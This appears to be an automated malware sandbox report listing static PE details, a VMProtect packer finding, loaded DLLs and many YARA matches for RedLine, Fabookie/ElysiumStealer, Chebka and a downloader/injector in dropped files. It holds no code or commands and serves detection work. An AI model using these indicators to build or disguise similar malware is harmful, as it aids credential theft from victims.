Source: GWafJDbetTJK0ciVGh5n0Df1.exe.0.dr	Static PE information: section name:
Source: S4FBxlLjDvaMdcwHZaTlWrII.exe.0.dr	Static PE information: section name: ._K)
Source: S4FBxlLjDvaMdcwHZaTlWrII.exe.0.dr	Static PE information: section name: .$gT
Source: S4FBxlLjDvaMdcwHZaTlWrII.exe.0.dr	Static PE information: section name: .qD*
Source: I1E4fVux.exe.21.dr	Static PE information: section name: .va$

Detected VMProtect packer

Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe.0.dr

Static PE information: .vmp0 and .vmp1 section names

Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Code function: 14_2_0086A825	14_2_0086A825
Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Code function: 14_2_00865017	14_2_00865017
Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Code function: 14_2_00879832	14_2_00879832
Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Code function: 14_2_008659C7	14_2_008659C7
Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Code function: 14_2_00879A61	14_2_00879A61
Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Code function: 14_2_0088226E	14_2_0088226E
Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Code function: 14_2_00886384	14_2_00886384
Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Code function: 14_2_0086B4B3	14_2_0086B4B3
Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Code function: 14_2_008655B8	14_2_008655B8
Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Code function: 14_2_00881DC0	14_2_00881DC0
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Code function: 16_2_00981180	16_2_00981180
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Code function: 16_2_009A61E0	16_2_009A61E0
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Code function: 16_2_009764D0	16_2_009764D0
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Code function: 16_2_009A5640	16_2_009A5640
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Code function: 16_2_0097B8D0	16_2_0097B8D0
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Code function: 16_2_00981810	16_2_00981810
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Code function: 16_2_00982860	16_2_00982860
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Code function: 16_2_009A4AC0	16_2_009A4AC0
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Code function: 16_2_009A4EA0	16_2_009A4EA0
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Code function: 16_2_0097BE20	16_2_0097BE20
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Code function: 16_2_0097D100	16_2_0097D100
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Code function: 16_2_009A22A0	16_2_009A22A0
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Code function: 16_2_009BE22C	16_2_009BE22C
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Code function: 16_2_009756B0	16_2_009756B0
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Code function: 16_2_009C46B0	16_2_009C46B0
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Code function: 16_2_00974630	16_2_00974630
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Code function: 16_2_0099F790	16_2_0099F790
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Code function: 16_2_009B2800	16_2_009B2800
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Code function: 16_2_009B0859	16_2_009B0859
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Code function: 16_2_009B8855	16_2_009B8855
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Code function: 16_2_009C29DB	16_2_009C29DB
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Code function: 16_2_009B4AE9	16_2_009B4AE9
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Code function: 16_2_009A6B70	16_2_009A6B70
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Code function: 16_2_00975C00	16_2_00975C00
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Code function: 16_2_0099FF90	16_2_0099FF90

Source: fJe9em23BB.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: installer[1].exe.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: GWafJDbetTJK0ciVGh5n0Df1.exe.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: setup331[1].exe.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: setup331[1].exe.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 0RWCjOTmPGy8vyz30vD2T7Gp.exe.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 0RWCjOTmPGy8vyz30vD2T7Gp.exe.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 3IvnW3Tihs6HZPHX18cvdMMt.exe.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 3IvnW3Tihs6HZPHX18cvdMMt.exe.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: aJLVqZit29LEEhRpCpbwWX8O.exe.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: S4FBxlLjDvaMdcwHZaTlWrII.exe.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-L9EAU.tmp.17.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: is-L9EAU.tmp.17.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-L9EAU.tmp.17.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: ccsearcher.exe.25.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: ccsearcher.exe.25.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: ccsearcher.exe.25.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: ccsearcher.exe.25.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: ccsearcher.exe.25.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: ccsearcher.exe.25.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: ccsearcher.exe.25.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: ccsearcher.exe.25.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: ccsearcher.exe.25.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: ccsearcher.exe.25.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: ccsearcher.exe.25.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: ccsearcher.exe.25.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: is-46B6D.tmp.25.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: is-46B6D.tmp.25.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: is-46B6D.tmp.25.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Users\user\Desktop\fJe9em23BB.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	Section loaded: msvcp120_clr0400.dll
Source: C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe	Section loaded: starttiledata.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmi.dll

Source: fJe9em23BB.exe	Static PE information: Number of sections : 11 > 10
Source: sqlite3.dll.21.dr	Static PE information: Number of sections : 18 > 10

Source: fJe9em23BB.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.2a30ee8.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.5100000.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 18.3.aJLVqZit29LEEhRpCpbwWX8O.exe.b329b8.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.29023e6.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.2a30000.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.29023e6.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.3.fJe9em23BB.exe.51bd580.11.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector06 author = ditekSHen, description = Detects downloader / injector
Source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.29032ce.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 37.2.rundll32.exe.4e70000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings
Source: 37.2.rundll32.exe.4e70000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Fabookie author = ditekSHen, description = Detects Fabookie / ElysiumStealer
Source: 37.2.rundll32.exe.4e70000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Chebka author = ditekSHen, description = Detects Chebka
Source: 37.2.rundll32.exe.4e70000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Generic_a681f24a reference_sample = a796f316b1ed7fa809d9ad5e9b25bd780db76001345ea83f5035a33618f927fa, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Generic, fingerprint = 6323ed5b60e728297de19c878cd96b429bfd6d82157b4cf3475f3a3123921ae0, id = a681f24a-7054-4525-bcf8-3ee64a1d8413, last_modified = 2021-08-23
Source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.2a30000.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.2a30ee8.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.5100000.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 40.2.svchost.exe.1455df70000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings
Source: 40.2.svchost.exe.1455df70000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Chebka author = ditekSHen, description = Detects Chebka
Source: 40.2.svchost.exe.1455df70000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Generic_a681f24a reference_sample = a796f316b1ed7fa809d9ad5e9b25bd780db76001345ea83f5035a33618f927fa, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Generic, fingerprint = 6323ed5b60e728297de19c878cd96b429bfd6d82157b4cf3475f3a3123921ae0, id = a681f24a-7054-4525-bcf8-3ee64a1d8413, last_modified = 2021-08-23
Source: 18.3.aJLVqZit29LEEhRpCpbwWX8O.exe.b329b8.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 39.0.svchost.exe.1de9cce0000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings
Source: 39.0.svchost.exe.1de9cce0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Chebka author = ditekSHen, description = Detects Chebka
Source: 39.0.svchost.exe.1de9cce0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Generic_a681f24a reference_sample = a796f316b1ed7fa809d9ad5e9b25bd780db76001345ea83f5035a33618f927fa, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Generic, fingerprint = 6323ed5b60e728297de19c878cd96b429bfd6d82157b4cf3475f3a3123921ae0, id = a681f24a-7054-4525-bcf8-3ee64a1d8413, last_modified = 2021-08-23
Source: 16.0.ze5tCopHgrlItmsTQGIZcUK1.exe.970000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector06 author = ditekSHen, description = Detects downloader / injector
Source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.29032ce.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.3.fJe9em23BB.exe.51bd580.24.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector06 author = ditekSHen, description = Detects downloader / injector
Source: 0.3.fJe9em23BB.exe.5171640.12.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector06 author = ditekSHen, description = Detects downloader / injector
Source: 16.2.ze5tCopHgrlItmsTQGIZcUK1.exe.970000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector06 author = ditekSHen, description = Detects downloader / injector
Source: 39.2.svchost.exe.1de9cce0000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings
Source: 39.2.svchost.exe.1de9cce0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Chebka author = ditekSHen, description = Detects Chebka
Source: 39.2.svchost.exe.1de9cce0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Generic_a681f24a reference_sample = a796f316b1ed7fa809d9ad5e9b25bd780db76001345ea83f5035a33618f927fa, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Generic, fingerprint = 6323ed5b60e728297de19c878cd96b429bfd6d82157b4cf3475f3a3123921ae0, id = a681f24a-7054-4525-bcf8-3ee64a1d8413, last_modified = 2021-08-23
Source: 40.2.svchost.exe.1455df70000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings
Source: 40.2.svchost.exe.1455df70000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Chebka author = ditekSHen, description = Detects Chebka
Source: 40.2.svchost.exe.1455df70000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Generic_a681f24a reference_sample = a796f316b1ed7fa809d9ad5e9b25bd780db76001345ea83f5035a33618f927fa, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Generic, fingerprint = 6323ed5b60e728297de19c878cd96b429bfd6d82157b4cf3475f3a3123921ae0, id = a681f24a-7054-4525-bcf8-3ee64a1d8413, last_modified = 2021-08-23
Source: 39.2.svchost.exe.1de9cce0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings
Source: 39.2.svchost.exe.1de9cce0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Chebka author = ditekSHen, description = Detects Chebka
Source: 39.2.svchost.exe.1de9cce0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Generic_a681f24a reference_sample = a796f316b1ed7fa809d9ad5e9b25bd780db76001345ea83f5035a33618f927fa, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Generic, fingerprint = 6323ed5b60e728297de19c878cd96b429bfd6d82157b4cf3475f3a3123921ae0, id = a681f24a-7054-4525-bcf8-3ee64a1d8413, last_modified = 2021-08-23
Source: 39.0.svchost.exe.1de9cce0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings
Source: 39.0.svchost.exe.1de9cce0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Chebka author = ditekSHen, description = Detects Chebka
Source: 39.0.svchost.exe.1de9cce0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Generic_a681f24a reference_sample = a796f316b1ed7fa809d9ad5e9b25bd780db76001345ea83f5035a33618f927fa, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Generic, fingerprint = 6323ed5b60e728297de19c878cd96b429bfd6d82157b4cf3475f3a3123921ae0, id = a681f24a-7054-4525-bcf8-3ee64a1d8413, last_modified = 2021-08-23
Source: 00000028.00000002.778075729.000001455DF00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings
Source: 00000028.00000002.778075729.000001455DF00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Generic_a681f24a reference_sample = a796f316b1ed7fa809d9ad5e9b25bd780db76001345ea83f5035a33618f927fa, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Generic, fingerprint = 6323ed5b60e728297de19c878cd96b429bfd6d82157b4cf3475f3a3123921ae0, id = a681f24a-7054-4525-bcf8-3ee64a1d8413, last_modified = 2021-08-23
Source: 00000028.00000002.796293389.000001455E0B4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings
Source: 00000012.00000002.851512502.0000000005100000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000012.00000002.820187744.0000000002A30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000027.00000003.469548864.000001DE9CC70000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings
Source: 00000027.00000003.469548864.000001DE9CC70000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Generic_a681f24a reference_sample = a796f316b1ed7fa809d9ad5e9b25bd780db76001345ea83f5035a33618f927fa, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Generic, fingerprint = 6323ed5b60e728297de19c878cd96b429bfd6d82157b4cf3475f3a3123921ae0, id = a681f24a-7054-4525-bcf8-3ee64a1d8413, last_modified = 2021-08-23
Source: 00000025.00000002.642624118.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings
Source: 00000025.00000002.642624118.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_Fabookie author = ditekSHen, description = Detects Fabookie / ElysiumStealer
Source: 00000025.00000002.642624118.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Generic_a681f24a reference_sample = a796f316b1ed7fa809d9ad5e9b25bd780db76001345ea83f5035a33618f927fa, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Generic, fingerprint = 6323ed5b60e728297de19c878cd96b429bfd6d82157b4cf3475f3a3123921ae0, id = a681f24a-7054-4525-bcf8-3ee64a1d8413, last_modified = 2021-08-23
Source: 00000028.00000003.527016675.000001455E0A4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings
Source: 00000028.00000002.800912311.000001456011C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings
Source: 00000028.00000002.800410599.0000014560100000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings
Source: 00000025.00000002.649681135.0000000004EB4000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings
Source: 00000025.00000002.649681135.0000000004EB4000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Generic_a681f24a reference_sample = a796f316b1ed7fa809d9ad5e9b25bd780db76001345ea83f5035a33618f927fa, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Generic, fingerprint = 6323ed5b60e728297de19c878cd96b429bfd6d82157b4cf3475f3a3123921ae0, id = a681f24a-7054-4525-bcf8-3ee64a1d8413, last_modified = 2021-08-23
Source: 00000028.00000002.810736997.0000014561240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 00000028.00000002.810736997.0000014561240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings
